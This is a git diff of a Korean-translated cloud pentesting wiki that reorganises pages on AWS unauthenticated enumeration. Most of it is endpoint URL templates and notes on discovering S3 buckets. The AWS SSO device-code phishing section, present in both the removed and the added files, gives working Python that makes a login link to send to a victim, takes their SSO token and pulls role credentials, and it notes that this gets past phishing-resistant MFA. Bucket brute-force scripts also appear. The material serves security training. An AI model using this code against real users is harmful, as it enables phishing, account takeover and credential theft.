- -4. **SSO 액세스 토큰 가져오기** - -피해자가 프롬프트를 수락한 경우, 이 코드를 실행하여 **사용자를 가장하여 SSO 토큰을 생성하세요**: -```python -token_response = sso_oidc.create_token( -clientId=client_id, -clientSecret=client_secret, -grantType="urn:ietf:params:oauth:grant-type:device_code", -deviceCode=deviceCode -) -sso_token = token_response.get('accessToken') -``` -SSO 액세스 토큰은 **8시간 동안 유효**합니다. - -5. **사용자 가장하기** -```python -sso_client = boto3.client('sso', region_name=REGION) - -# List accounts where the user has access -aws_accounts_response = sso_client.list_accounts( -accessToken=sso_token, -maxResults=100 -) -aws_accounts_response.get('accountList', []) - -# Get roles inside an account -roles_response = sso_client.list_account_roles( -accessToken=sso_token, -accountId= -) -roles_response.get('roleList', []) - -# Get credentials over a role - -sts_creds = sso_client.get_role_credentials( -accessToken=sso_token, -roleName=, -accountId= -) -sts_creds.get('roleCredentials') -``` -### 피싱할 수 없는 MFA 피싱 - -이전 공격이 **"피싱할 수 없는 MFA" (webAuth)가 사용되고 있어도 작동한다는 사실은 재미있습니다**. 이는 이전 **워크플로우가 사용된 OAuth 도메인을 벗어나지 않기 때문입니다**. 사용자가 로그인 도메인을 대체해야 하는 다른 피싱 공격과는 달리, 장치 코드 워크플로우는 **장치가 알고 있는 코드**를 통해 사용자가 다른 기기에서도 로그인할 수 있도록 준비되어 있습니다. 프롬프트를 수락하면, 장치는 **초기 코드를 알고 있기만 하면**, 사용자의 **자격 증명을 검색할 수 있습니다**. - -자세한 정보는 [**이 게시물을 확인하세요**](https://mjg59.dreamwidth.org/62175.html). - -### 자동화 도구 - -- [https://github.com/christophetd/aws-sso-device-code-authentication](https://github.com/christophetd/aws-sso-device-code-authentication) -- [https://github.com/sebastian-mora/awsssome_phish](https://github.com/sebastian-mora/awsssome_phish) - -## 참고자료 - -- [https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/) -- [https://ruse.tech/blogs/aws-sso-phishing](https://ruse.tech/blogs/aws-sso-phishing) -- [https://mjg59.dreamwidth.org/62175.html](https://mjg59.dreamwidth.org/62175.html) -- [https://ramimac.me/aws-device-auth](https://ramimac.me/aws-device-auth) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum/README.md new file mode 100644 index 000000000..218ac65ed --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum/README.md @@ -0,0 +1,123 @@ +# AWS - Identity Center & SSO Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## AWS Device Code Phishing + +Initially proposed in [**this blog post**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/), it's possible to send a **link** to a user using AWS SSO that if the **user accepts** the attacker will be able to get a **token to impersonate the user** and access all the roles the user is able to access in the **Identity Center**. + +이 공격을 수행하기 위한 요구사항은 다음과 같습니다: + +- 피해자는 **Identity Center**를 사용해야 합니다. +- attacker는 피해자가 사용하는 **subdomain**(`.awsapps.com/start`)을 알고 있어야 합니다. + +위 정보만으로도 **attacker will be able to send a link to the user**가 가능하며, 사용자가 **accepted**하면 **attacker access over the AWS user** 계정을 획득하게 됩니다. + +### Attack + +1. **Finding the subdomain** + +attacker의 첫 단계는 피해 기업이 Identity Center에서 사용하는 subdomain을 찾아내는 것입니다. 이는 대부분의 회사가 자사 이름이나 그 변형을 사용하므로 **OSINT** 또는 **guessing + BF**로 수행할 수 있습니다. + +With this info, it's possible to get the region where the Indentity Center was configured with: +```bash +curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"' +"region":"us-east-1 +``` +2. **피해자용 링크 생성 및 전송** + +다음 코드를 실행하여 피해자가 인증할 수 있는 AWS SSO 로그인 링크를 생성하세요.\ +데모에서는 이 코드를 python 콘솔에서 실행하고, 나중에 토큰을 얻기 위해 몇몇 객체가 필요하므로 콘솔을 종료하지 마세요: +```python +import boto3 + +REGION = 'us-east-1' # CHANGE THIS +AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS + +sso_oidc = boto3.client('sso-oidc', region_name=REGION) +client = sso_oidc.register_client( +clientName = 'attacker', +clientType = 'public' +) + +client_id = client.get('clientId') +client_secret = client.get('clientSecret') +authz = sso_oidc.start_device_authorization( +clientId=client_id, +clientSecret=client_secret, +startUrl=AWS_SSO_START_URL +) + +url = authz.get('verificationUriComplete') +deviceCode = authz.get('deviceCode') +print("Give this URL to the victim: " + url) +``` +당신의 뛰어난 social engineering skills를 사용해서 생성된 link를 피해자에게 보내세요! + +3. **피해자가 수락할 때까지 기다리세요** + +만약 피해자가 **already logged in AWS** 상태라면 권한 부여를 수락하기만 하면 됩니다. 그렇지 않다면 그는 **login and then accept granting the permissions** 해야 합니다.\ +이것이 현재 prompt의 모습입니다: + +
+ +4. **SSO access token 가져오기** + +만약 피해자가 프롬프트를 수락했다면, 이 코드를 실행하여 **generate a SSO token impersonating the user**: +```python +token_response = sso_oidc.create_token( +clientId=client_id, +clientSecret=client_secret, +grantType="urn:ietf:params:oauth:grant-type:device_code", +deviceCode=deviceCode +) +sso_token = token_response.get('accessToken') +``` +SSO access token은 **8시간 동안 유효합니다**. + +5. **사용자로 가장하기** +```python +sso_client = boto3.client('sso', region_name=REGION) + +# List accounts where the user has access +aws_accounts_response = sso_client.list_accounts( +accessToken=sso_token, +maxResults=100 +) +aws_accounts_response.get('accountList', []) + +# Get roles inside an account +roles_response = sso_client.list_account_roles( +accessToken=sso_token, +accountId= +) +roles_response.get('roleList', []) + +# Get credentials over a role + +sts_creds = sso_client.get_role_credentials( +accessToken=sso_token, +roleName=, +accountId= +) +sts_creds.get('roleCredentials') +``` +### Phishing the unphisable MFA + +이전 공격이 **works even if an "unphisable MFA" (webAuth) is being used** 경우에도 작동한다는 것은 흥미롭다. 그 이유는 이전 **workflow never leaves the used OAuth domain** 때문이다. 사용자가 로그인 도메인을 대체해야 하는 다른 phishing 공격과 달리, 이 경우 device code workflow는 기기가 **code is known by a device** 하도록 준비되어 있어 사용자는 다른 기기에서도 로그인할 수 있다. 프롬프트를 수락하면, 기기는 단지 초기 **knowing the initial code**만으로 사용자의 **retrieve credentials**를 수행할 수 있다. + +For more info about this [**check this post**](https://mjg59.dreamwidth.org/62175.html). + +### 자동화 도구 + +- [https://github.com/christophetd/aws-sso-device-code-authentication](https://github.com/christophetd/aws-sso-device-code-authentication) +- [https://github.com/sebastian-mora/awsssome_phish](https://github.com/sebastian-mora/awsssome_phish) + +## 참고자료 + +- [https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/) +- [https://ruse.tech/blogs/aws-sso-phishing](https://ruse.tech/blogs/aws-sso-phishing) +- [https://mjg59.dreamwidth.org/62175.html](https://mjg59.dreamwidth.org/62175.html) +- [https://ramimac.me/aws-device-auth](https://ramimac.me/aws-device-auth) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum/README.md similarity index 56% rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum/README.md index e5d263eee..a3e042808 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum/README.md @@ -1,6 +1,6 @@ -# AWS - IoT 인증되지 않은 열거 +# AWS - IoT Unauthenticated Enum -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ### 공개 URL 템플릿 ``` @@ -8,4 +8,4 @@ mqtt://{random_id}.iot.{region}.amazonaws.com:8883 https://{random_id}.iot.{region}.amazonaws.com:8443 https://{random_id}.iot.{region}.amazonaws.com:443 ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md deleted file mode 100644 index bd3c334c9..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md +++ /dev/null @@ -1,9 +0,0 @@ -# AWS - Kinesis Video Unauthenticated Enum - -{{#include ../../../banners/hacktricks-training.md}} - -### 공개 URL 템플릿 -``` -https://{random_id}.kinesisvideo.{region}.amazonaws.com -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum/README.md new file mode 100644 index 000000000..950388dc1 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum/README.md @@ -0,0 +1,9 @@ +# AWS - Kinesis Video Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +### 공용 URL 템플릿 +``` +https://{random_id}.kinesisvideo.{region}.amazonaws.com +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md deleted file mode 100644 index be49443c1..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md +++ /dev/null @@ -1,20 +0,0 @@ -# AWS - Lambda 인증되지 않은 접근 - -{{#include ../../../banners/hacktricks-training.md}} - -## 공개 함수 URL - -누구나 접근할 수 있는 **공개 함수 URL**과 **Lambda**를 연관시킬 수 있습니다. 여기에는 웹 취약점이 포함될 수 있습니다. - -### 공개 URL 템플릿 -``` -https://{random_id}.lambda-url.{region}.on.aws/ -``` -### 공개 Lambda URL에서 계정 ID 가져오기 - -S3 버킷, 데이터 교환 및 API 게이트웨이와 마찬가지로, 공개 lambda URL에서 **`aws:ResourceAccount`** **정책 조건 키**를 악용하여 계정의 계정 ID를 찾는 것이 가능합니다. 이는 정책의 **`aws:ResourceAccount`** 섹션에서 와일드카드를 악용하여 한 번에 한 문자씩 계정 ID를 찾음으로써 이루어집니다.\ -이 기술은 태그 키를 알고 있다면 **태그의 값**을 가져오는 것도 허용합니다(기본적으로 흥미로운 것들이 있습니다). - -자세한 정보는 [**원본 연구**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/)와 이 악용을 자동화하는 도구 [**conditional-love**](https://github.com/plerionhq/conditional-love/)에서 확인할 수 있습니다. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access/README.md new file mode 100644 index 000000000..2d6bbbfa2 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access/README.md @@ -0,0 +1,22 @@ +# AWS - Lambda Unauthenticated Access + +{{#include ../../../../banners/hacktricks-training.md}} + +## Public Function URL + +누구나 접근할 수 있는 **public function URL**에 **Lambda**를 연결할 수 있습니다. 이러한 URL은 웹 취약점을 포함할 수 있습니다. + +### Public URL template +``` +https://{random_id}.lambda-url.{region}.on.aws/ +``` +### 공개 Lambda URL에서 Account ID 얻기 + +S3 buckets, Data Exchange 및 API gateways와 마찬가지로, 공개 Lambda URL을 통해 **`aws:ResourceAccount`** **Policy Condition Key**를 악용하여 계정의 Account ID를 찾아낼 수 있습니다. +이는 정책의 **`aws:ResourceAccount`** 섹션에서 와일드카드를 악용하여 Account ID를 한 글자씩 찾아내는 방식으로 수행됩니다.\ + +이 기술은 태그 키를 알고 있다면 **values of tags**를 가져오는 것도 가능합니다(기본적으로 흥미로운 것들이 몇 개 있습니다). + +자세한 내용은 [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/)와 이 공격을 자동화하는 도구 [**conditional-love**](https://github.com/plerionhq/conditional-love/)를 참조하세요. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum/README.md similarity index 60% rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum/README.md index 29021b710..32edc68af 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum/README.md @@ -1,6 +1,6 @@ -# AWS - Media Unauthenticated Enum +# AWS - 미디어 Unauthenticated Enum -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ### 공개 URL 템플릿 ``` @@ -8,4 +8,4 @@ https://{random_id}.mediaconvert.{region}.amazonaws.com https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel https://{random_id}.data.mediastore.{region}.amazonaws.com ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md deleted file mode 100644 index 29760b67a..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md +++ /dev/null @@ -1,20 +0,0 @@ -# AWS - MQ Unauthenticated Enum - -{{#include ../../../banners/hacktricks-training.md}} - -## Public Port - -### **RabbitMQ** - -**RabbitMQ**의 경우, **기본적으로 공용 액세스**와 ssl이 활성화되어 있습니다. 그러나 액세스하려면 **자격 증명**이 필요합니다 (`amqps://.mq.us-east-1.amazonaws.com:5671`​​). 또한, `https://b-.mq.us-east-1.amazonaws.com/`에서 자격 증명을 알고 있다면 **웹 관리 콘솔에 액세스**할 수 있습니다. - -### ActiveMQ - -**ActiveMQ**의 경우, 기본적으로 공용 액세스와 ssl이 활성화되어 있지만, 액세스하려면 자격 증명이 필요합니다. - -### Public URL template -``` -https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162/ -ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617 -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum/README.md new file mode 100644 index 000000000..f60d2bd73 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum/README.md @@ -0,0 +1,20 @@ +# AWS - MQ Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## 공용 포트 + +### **RabbitMQ** + +**RabbitMQ**의 경우 **default public access** 및 ssl이 기본적으로 활성화되어 있습니다. 하지만 접근하려면 **credentials**가 필요합니다 (`amqps://.mq.us-east-1.amazonaws.com:5671`). 또한, credentials를 알고 있다면 `https://b-.mq.us-east-1.amazonaws.com/`에서 **access the web management console**이 가능합니다. + +### ActiveMQ + +**ActiveMQ**의 경우 기본적으로 public access 및 ssl이 활성화되어 있지만, 접근하려면 **credentials**가 필요합니다. + +### 공용 URL 템플릿 +``` +https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162/ +ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617 +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md deleted file mode 100644 index b33deac2e..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md +++ /dev/null @@ -1,16 +0,0 @@ -# AWS - MSK 인증되지 않은 열거 - -{{#include ../../../banners/hacktricks-training.md}} - -### 공개 포트 - -**Kafka 브로커를 공개적으로 노출하는 것이 가능**하지만, **자격 증명**, IAM 권한 또는 유효한 인증서가 필요합니다(구성된 인증 방법에 따라 다름). - -인증을 **비활성화하는 것도 가능**하지만, 그 경우 **포트를 인터넷에 직접 노출하는 것은 불가능**합니다. - -### 공개 URL 템플릿 -``` -b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com -{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum/README.md new file mode 100644 index 000000000..4102b7003 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum/README.md @@ -0,0 +1,16 @@ +# AWS - MSK Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +### 공개 포트 + +**Kafka broker를 public에 노출하는 것이 가능**하지만, 구성된 auth method에 따라 **credentials**, IAM 권한 또는 유효한 certificate가 필요합니다. + +또한 **authentication을 비활성화하는 것이 가능**하지만, 그런 경우에는 **포트를 Internet에 직접 노출하는 것은 불가능합니다**. + +### Public URL 템플릿 +``` +b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com +{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum/README.md similarity index 58% rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum/README.md index 6ea0a4d79..8fac604b4 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum/README.md @@ -1,22 +1,22 @@ -# AWS - RDS 인증되지 않은 열거 +# AWS - RDS Unauthenticated Enum -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## RDS 자세한 정보는 다음을 확인하세요: {{#ref}} -../aws-services/aws-relational-database-rds-enum.md +../../aws-services/aws-relational-database-rds-enum.md {{#endref}} ## 공개 포트 -**인터넷에서 데이터베이스에 대한 공개 액세스**를 제공하는 것이 가능합니다. 공격자는 여전히 **사용자 이름과 비밀번호,** IAM 액세스 또는 **익스플로잇**을 알아야 데이터베이스에 들어갈 수 있습니다. +인터넷에서 **데이터베이스에 대한 공개 접근**을 허용할 수 있습니다. 공격자는 데이터베이스에 접근하기 위해 여전히 **사용자명과 비밀번호를 알아야 하며,** IAM 접근 권한, 또는 **exploit**이 필요합니다. -## 공개 RDS 스냅샷 +## 공개 RDS Snapshots -AWS는 **누구나 RDS 스냅샷을 다운로드할 수 있는 액세스**를 제공하는 것을 허용합니다. 자신의 계정에서 이러한 공개 RDS 스냅샷을 매우 쉽게 나열할 수 있습니다: +AWS는 **누구나 RDS snapshots를 다운로드할 수 있도록 접근을 허용**할 수 있습니다. 이러한 public RDS snapshots는 자신의 계정에서 매우 쉽게 나열할 수 있습니다: ```bash # Public RDS snapshots aws rds describe-db-snapshots --include-public @@ -37,4 +37,4 @@ aws rds describe-db-snapshots --snapshot-type public [--region us-west-2] mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306 postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432 ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum/README.md similarity index 53% rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum/README.md index 7a990d28f..9848d87b9 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum/README.md @@ -1,9 +1,9 @@ # AWS - Redshift Unauthenticated Enum -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ### 공개 URL 템플릿 ``` {user_provided}...redshift.amazonaws.com ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md deleted file mode 100644 index f562a58ee..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md +++ /dev/null @@ -1,194 +0,0 @@ -# AWS - S3 인증되지 않은 열거 - -{{#include ../../../banners/hacktricks-training.md}} - -## S3 공개 버킷 - -버킷은 **“공개”**로 간주되며, **모든 사용자가** 버킷의 내용을 나열할 수 있는 경우이고, **“비공개”**는 버킷의 내용이 **특정 사용자만 나열하거나 쓸 수 있는 경우**입니다. - -회사는 **버킷 권한이 잘못 구성**되어 모든 것 또는 AWS의 모든 계정에 인증된 모든 사용자에게 접근을 허용할 수 있습니다(즉, 누구에게나). 이러한 잘못된 구성에서도 일부 작업은 수행할 수 없을 수 있으며, 버킷은 자체 접근 제어 목록(ACL)을 가질 수 있습니다. - -**AWS-S3 잘못 구성에 대해 알아보세요:** [**http://flaws.cloud**](http://flaws.cloud/) **및** [**http://flaws2.cloud/**](http://flaws2.cloud) - -### AWS 버킷 찾기 - -웹페이지가 AWS를 사용하여 일부 리소스를 저장할 때 찾는 다양한 방법: - -#### 열거 및 OSINT: - -- **wappalyzer** 브라우저 플러그인 사용 -- burp 사용(**웹 스파이더링**) 또는 페이지를 수동으로 탐색하여 모든 **리소스** **로드**된 내용이 기록에 저장됩니다. -- 다음과 같은 도메인에서 **리소스 확인**: - -``` -http://s3.amazonaws.com/[bucket_name]/ -http://[bucket_name].s3.amazonaws.com/ -``` - -- **CNAMES** 확인: `resources.domain.com`은 `bucket.s3.amazonaws.com`의 CNAME을 가질 수 있습니다. -- **[s3dns](https://github.com/olizimmermann/s3dns)** – DNS 트래픽을 분석하여 클라우드 스토리지 버킷(S3, GCP, Azure)을 수동으로 식별하는 경량 DNS 서버입니다. CNAME을 감지하고, 해상도 체인을 따르며, 버킷 패턴을 일치시켜 브루트 포스 또는 API 기반 발견의 조용한 대안을 제공합니다. 정찰 및 OSINT 워크플로에 적합합니다. -- [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/), 이미 **발견된 공개 버킷**이 있는 웹사이트입니다. -- **버킷 이름**과 **버킷 도메인 이름**은 **같아야 합니다.** -- **flaws.cloud**는 **IP** 52.92.181.107에 있으며, 해당 주소로 가면 [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/)로 리디렉션됩니다. 또한, `dig -x 52.92.181.107`는 `s3-website-us-west-2.amazonaws.com`을 반환합니다. -- 버킷인지 확인하려면 [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/)를 **방문**할 수도 있습니다. - -#### 브루트 포스 - -회사를 대상으로 **이름을 브루트 포스**하여 버킷을 찾을 수 있습니다: - -- [https://github.com/sa7mon/S3Scanner](https://github.com/sa7mon/S3Scanner) -- [https://github.com/clario-tech/s3-inspector](https://github.com/clario-tech/s3-inspector) -- [https://github.com/jordanpotti/AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump) (잠재적인 버킷 이름 목록 포함) -- [https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets](https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets) -- [https://github.com/smaranchand/bucky](https://github.com/smaranchand/bucky) -- [https://github.com/tomdev/teh_s3_bucketeers](https://github.com/tomdev/teh_s3_bucketeers) -- [https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/s3](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/s3) -- [https://github.com/Eilonh/s3crets_scanner](https://github.com/Eilonh/s3crets_scanner) -- [https://github.com/belane/CloudHunter](https://github.com/belane/CloudHunter) - -
# 생성된 단어 목록으로 변형 생성
-curl -s https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt > /tmp/words-s3.txt.temp
-curl -s https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt >>/tmp/words-s3.txt.temp
-cat /tmp/words-s3.txt.temp | sort -u > /tmp/words-s3.txt
-
-# 테스트할 도메인 및 서브도메인 기반의 단어 목록 생성
-## 해당 도메인 및 서브도메인을 subdomains.txt에 작성
-cat subdomains.txt > /tmp/words-hosts-s3.txt
-cat subdomains.txt | tr "." "-" >> /tmp/words-hosts-s3.txt
-cat subdomains.txt | tr "." "\n" | sort -u >> /tmp/words-hosts-s3.txt
-
-# 공격할 도메인 및 서브도메인 목록을 기반으로 변형 생성
-goaltdns -l /tmp/words-hosts-s3.txt -w /tmp/words-s3.txt -o /tmp/final-words-s3.txt.temp
-## 이전 도구는 서브도메인에 대한 변형 생성을 전문으로 하므로 해당 목록을 필터링합니다.
-### "."로 끝나는 줄 제거
-cat /tmp/final-words-s3.txt.temp | grep -Ev "\.$" > /tmp/final-words-s3.txt.temp2
-### TLD 없는 목록 생성
-cat /tmp/final-words-s3.txt.temp2 | sed -E 's/\.[a-zA-Z0-9]+$//' > /tmp/final-words-s3.txt.temp3
-### 점 없는 목록 생성
-cat /tmp/final-words-s3.txt.temp3 | tr -d "." > /tmp/final-words-s3.txt.temp4http://phantom.s3.amazonaws.com/
-### 하이픈 없는 목록 생성
-cat /tmp/final-words-s3.txt.temp3 | tr "." "-" > /tmp/final-words-s3.txt.temp5
-
-## 최종 단어 목록 생성
-cat /tmp/final-words-s3.txt.temp2 /tmp/final-words-s3.txt.temp3 /tmp/final-words-s3.txt.temp4 /tmp/final-words-s3.txt.temp5 | grep -v -- "-\." | awk '{print tolower($0)}' | sort -u > /tmp/final-words-s3.txt
-
-## s3scanner 호출
-s3scanner --threads 100 scan --buckets-file /tmp/final-words-s3.txt  | grep bucket_exists
-
- -#### S3 버킷 약탈 - -S3 공개 버킷이 주어지면, [**BucketLoot**](https://github.com/redhuntlabs/BucketLoot)는 자동으로 **흥미로운 정보를 검색**할 수 있습니다. - -### 지역 찾기 - -AWS에서 지원하는 모든 지역은 [**https://docs.aws.amazon.com/general/latest/gr/s3.html**](https://docs.aws.amazon.com/general/latest/gr/s3.html)에서 확인할 수 있습니다. - -#### DNS로 - -**`dig`** 및 **`nslookup`**을 사용하여 발견된 IP의 **DNS 요청**을 수행하여 버킷의 지역을 확인할 수 있습니다: -```bash -dig flaws.cloud -;; ANSWER SECTION: -flaws.cloud. 5 IN A 52.218.192.11 - -nslookup 52.218.192.11 -Non-authoritative answer: -11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com. -``` -해결된 도메인에 "website"라는 단어가 있는지 확인하세요.\ -정적 웹사이트에 접근하려면: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\ -또는 버킷에 접근하려면: `flaws.cloud.s3-us-west-2.amazonaws.com`으로 방문할 수 있습니다. - - - -#### 시도해보기 - -버킷에 접근하려고 시도하지만 **도메인 이름에 다른 지역을 지정하는 경우** (예: 버킷이 `bucket.s3.amazonaws.com`에 있지만 `bucket.s3-website-us-west-2.amazonaws.com`에 접근하려고 하면, **올바른 위치로 안내됩니다**: - -![](<../../../images/image (106).png>) - -### 버킷 열거하기 - -버킷의 개방성을 테스트하기 위해 사용자는 웹 브라우저에 URL을 입력하기만 하면 됩니다. 개인 버킷은 "Access Denied"로 응답합니다. 공개 버킷은 저장된 첫 1,000개의 객체를 나열합니다. - -모두에게 열려 있습니다: - -![](<../../../images/image (201).png>) - -개인: - -![](<../../../images/image (83).png>) - -CLI로도 확인할 수 있습니다: -```bash -#Use --no-sign-request for check Everyones permissions -#Use --profile to indicate the AWS profile(keys) that youwant to use: Check 